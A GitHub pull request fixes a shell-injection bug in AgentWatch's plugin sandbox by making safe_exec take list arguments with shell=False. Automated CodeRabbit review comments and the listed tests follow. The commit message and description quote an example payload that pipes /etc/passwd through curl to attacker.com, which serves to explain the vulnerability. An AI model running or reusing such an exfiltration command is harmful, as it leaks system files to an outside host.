fix(plugins): implement PermissionEnforcer.safe_exec with shell=False to prevent injection#110
Open
anshul23102 wants to merge 1 commit into
Open
Conversation
…t injection
safe_exec previously called subprocess.run(cmd, shell=True) where cmd
was a caller-supplied string. shell=True causes /bin/sh to interpret the
string, so any shell metacharacter (semicolon, pipe, backtick, dollar,
redirect) in cmd would be executed as a shell command. A plugin with
subprocess_exec permission could supply:
safe_exec('ls; curl http://attacker.com/$(cat /etc/passwd | base64)')
and both commands would execute.
Fix: safe_exec now requires cmd to be a list[str] and passes it to
subprocess.run with shell=False. The OS exec family handles argument
splitting directly from the list, so no shell interprets metacharacters.
A ValueError is raised immediately when a non-list or empty cmd is given.
Also implements the full PermissionEnforcer class in the sandbox module
stub, including safe_open() for filesystem permission enforcement.
Closes sreerevanth#97
📝 WalkthroughWalkthroughNew ChangesPlugin Sandbox Permission Enforcement
Estimated Code Review Effort🎯 2 (Simple) | ⏱️ ~12 minutes Poem
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 2
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@agentwatch/plugins/sandbox.py`:
- Around line 67-68: The current guard only ensures cmd is a non-empty list but
doesn't validate element types; update the validation in the function that
accepts the cmd parameter so that it checks every element is an instance of str
(and still ensure the list is non-empty), and if any element is not a string
raise a ValueError with a clear message (e.g., "cmd must be a non-empty list of
strings"); locate and change the conditional that currently reads "if not
isinstance(cmd, list) or not cmd:" to iterate/check all entries of cmd before
proceeding.
- Around line 29-33: PermissionEnforcer.__init__ currently stores
manifest.permissions by reference which allows later mutations to change sandbox
policy; snapshot the boolean permission values (e.g., create a new dict or
dataclass copying fields from manifest.permissions into self._perms) inside
PermissionEnforcer.__init__ instead of assigning manifest.permissions directly.
Also tighten safe_exec: before calling _check or subprocess.run, validate that
cmd is a non-empty list and that every element is an instance of str (raise a
clear error or record a violation if any element is non-str) so the advertised
cmd: list[str] contract is enforced; update references in safe_exec to use the
validated/casted cmd when invoking _check and subprocess.run.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro Plus
Run ID: 33e30ac2-9538-4e64-b5a3-cb3c032423f6
📒 Files selected for processing (1)
agentwatch/plugins/sandbox.py
Comment on lines
+29
to
+33
| def __init__(self, manifest: PluginManifest) -> None: | ||
| self._perms = manifest.permissions | ||
| self._plugin_id = manifest.plugin_id | ||
| self._violations: list[str] = [] | ||
| self._accessed: list[str] = [] |
There was a problem hiding this comment.
🛠️ Refactor suggestion | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "Locate PluginManifest and permissions-related definitions"
rg -n -C3 --type=py '\bclass\s+PluginManifest\b|\bclass\s+\w*Permissions\b|\bpermissions\s*:' agentwatch
echo
echo "Check for immutability/frozen model configuration"
rg -n -C3 --type=py 'model_config\s*=|ConfigDict\(|allow_mutation\s*=|frozen\s*=|class\s+Config\b' agentwatchRepository: sreerevanth/AgentWatch
Length of output: 2157
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "Search for Pydantic immutability settings in agentwatch"
rg -n --type=py 'model_config\s*=|ConfigDict\s*\(|allow_mutation\s*=|frozen\s*=\s*True' agentwatch
echo
echo "Inspect PluginPermissions / PluginManifest definitions for any config"
rg -n --type=py 'class\s+PluginPermissions|class\s+PluginManifest' agentwatch/core/schema.pyRepository: sreerevanth/AgentWatch
Length of output: 122
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "Show PluginPermissions / PluginManifest definitions"
nl -ba agentwatch/core/schema.py | sed -n '380,480p'
echo
echo "Find BaseModel definition / custom base class (if any)"
rg -n --type=py 'class\s+\w*\(BaseModel\)|from\s+pydantic\s+import\s+BaseModel|BaseModel' agentwatch/core/schema.py agentwatch/core -SRepository: sreerevanth/AgentWatch
Length of output: 179
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "Show PluginPermissions / PluginManifest definitions (approx. lines 410-460)"
sed -n '400,470p' agentwatch/core/schema.py
echo
echo "Find BaseModel definition / custom base class (search wider for pydantic model base/config)"
rg -n --type=py 'from\s+pydantic\s+import\s+BaseModel|class\s+\w+\(BaseModel\)|ConfigDict|model_config' agentwatch/core/schema.py agentwatch/core -SRepository: sreerevanth/AgentWatch
Length of output: 3587
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "Inspect agentwatch/plugins/sandbox.py around PermissionEnforcer.__init__/safe_exec"
sed -n '1,220p' agentwatch/plugins/sandbox.py
echo
echo "Find where PermissionEnforcer is constructed"
rg -n --type=py 'PermissionEnforcer\s*\(' agentwatch
echo
echo "Search for mutations/access of manifest.permissions / PluginPermissions attributes"
rg -n --type=py '\bmanifest\.permissions\b' agentwatch
rg -n --type=py 'permissions\.(filesystem_read|filesystem_write|network_outbound|network_inbound|subprocess_exec|credential_access|memory_read|memory_write)\s*=' agentwatchRepository: sreerevanth/AgentWatch
Length of output: 3008
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "Find where PermissionEnforcer is constructed"
rg -n --type=py 'PermissionEnforcer\s*\(' agentwatch || true
echo
echo "Search for reads/mutations of manifest.permissions / PluginPermissions attributes"
rg -n --type=py '\bmanifest\.permissions\b' agentwatch || true
rg -n --type=py '\bmanifest\.permissions\s*=' agentwatch || true
rg -n --type=py 'permissions\.(filesystem_read|filesystem_write|network_outbound|network_inbound|subprocess_exec|credential_access|memory_read|memory_write)\s*=' agentwatch || true
echo
echo "Search for accessing PluginManifest.permissions attributes directly"
rg -n --type=py '\.permissions\.' agentwatch || trueRepository: sreerevanth/AgentWatch
Length of output: 339
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "Find call sites of safe_exec"
rg -n --type=py '\.safe_exec\s*\(' agentwatch
echo
echo "Find call sites of safe_open"
rg -n --type=py '\.safe_open\s*\(' agentwatch
echo
echo "Look for PermissionEnforcer construction usage"
rg -n --type=py 'PermissionEnforcer\s*\(' agentwatchRepository: sreerevanth/AgentWatch
Length of output: 95
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "Search for any mention of 'safe_exec' or 'safe_open' in repo"
rg -n --type=py 'safe_exec|safe_open' agentwatch || true
echo
echo "Search for getattr/setattr using sandbox methods"
rg -n --type=py 'getattr\s*\(\s*.*,\s*["'\'']safe_(exec|open)["'\'']' agentwatch || true
rg -n --type=py 'safe_(exec|open)\s*['\''"]' agentwatch || true
echo
echo "Search for PermissionEnforcer usage without assuming direct constructor call"
rg -n --type=py 'PermissionEnforcer' agentwatch || trueRepository: sreerevanth/AgentWatch
Length of output: 614
Snapshot permissions in PermissionEnforcer.init and enforce list[str] elements in safe_exec.
PermissionEnforcer.__init__storesmanifest.permissionsby reference;PluginPermissions/PluginManifestare mutablepydantic.BaseModelclasses (no frozen/immutability config found), so later mutations can change the sandbox policy—copy/snapshot the permission booleans instead.safe_execonly checks thatcmdis a non-emptylist; it doesn’t validate that every element is astr, so it doesn’t actually enforce the advertisedcmd: list[str]contract—validate element types before calling_check/subprocess.run.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@agentwatch/plugins/sandbox.py` around lines 29 - 33,
PermissionEnforcer.__init__ currently stores manifest.permissions by reference
which allows later mutations to change sandbox policy; snapshot the boolean
permission values (e.g., create a new dict or dataclass copying fields from
manifest.permissions into self._perms) inside PermissionEnforcer.__init__
instead of assigning manifest.permissions directly. Also tighten safe_exec:
before calling _check or subprocess.run, validate that cmd is a non-empty list
and that every element is an instance of str (raise a clear error or record a
violation if any element is non-str) so the advertised cmd: list[str] contract
is enforced; update references in safe_exec to use the validated/casted cmd when
invoking _check and subprocess.run.
Comment on lines
+67
to
+68
| if not isinstance(cmd, list) or not cmd: | ||
| raise ValueError("cmd must be a non-empty list of strings") |
There was a problem hiding this comment.
Validate every cmd element is a string.
The method is declared as cmd: list[str], but the guard only enforces “non-empty list”. Non-string entries still pass validation and fail deeper in the call stack instead of at the API boundary.
Proposed fix
- if not isinstance(cmd, list) or not cmd:
+ if (
+ not isinstance(cmd, list)
+ or not cmd
+ or any(not isinstance(arg, str) for arg in cmd)
+ ):
raise ValueError("cmd must be a non-empty list of strings")🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@agentwatch/plugins/sandbox.py` around lines 67 - 68, The current guard only
ensures cmd is a non-empty list but doesn't validate element types; update the
validation in the function that accepts the cmd parameter so that it checks
every element is an instance of str (and still ensure the list is non-empty),
and if any element is not a string raise a ValueError with a clear message
(e.g., "cmd must be a non-empty list of strings"); locate and change the
conditional that currently reads "if not isinstance(cmd, list) or not cmd:" to
iterate/check all entries of cmd before proceeding.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Description
PermissionEnforcer.safe_execpassed plugin-supplied command strings tosubprocess.runwithshell=True. This caused/bin/shto interpret shell metacharacters in the command string (semicolons, pipes, backticks,$(...), redirects). A plugin withsubprocess_execpermission could supply"ls; curl http://attacker.com/exfil?d=$(cat /etc/passwd|base64)"and both commands would execute, bypassing the intended single-command boundary.Related Issue
Closes #97
Type of Change
Root Cause
subprocess.run(cmd, shell=True)invokes/bin/sh -c cmd, which interprets all shell metacharacters in the command string. The permission check only verified thatsubprocess_execwas granted; it did not sanitize or tokenize the input.Changes Made
agentwatch/plugins/sandbox.pyPermissionEnforcerclass in the sandbox module stubagentwatch/plugins/sandbox.pysafe_execnow requirescmd: list[str]and usessubprocess.run(cmd, shell=False). The OS exec family receives arguments directly from the list, so no shell interprets metacharactersagentwatch/plugins/sandbox.pyValueErrorguard for non-list or emptycmdagentwatch/plugins/sandbox.pysafe_open()for permission-enforced filesystem accessScreenshots or Demo
Not applicable (no UI change).
Testing Done
Tests are in
tests/test_sandbox.py(added in PR #111 for issue #98). Key tests for this fix:test_safe_exec_requires_list: non-list input raisesValueErrortest_safe_exec_without_permission_raises: call withoutsubprocess_execraisesSandboxViolationErrortest_safe_exec_with_permission_runs: valid list command executes correctlytest_safe_exec_shell_metacharacters_not_interpreted:["echo", "safe; echo injected"]outputs the literal semicolon, not two commandsRun:
pytest tests/test_sandbox.py -vChecklist
NSSoC Label Request
@sreerevanth could you please add the appropriate NSoC 26' label to this PR? It helps with tracking and scoring under NSoC '26. Thank you!
Summary by CodeRabbit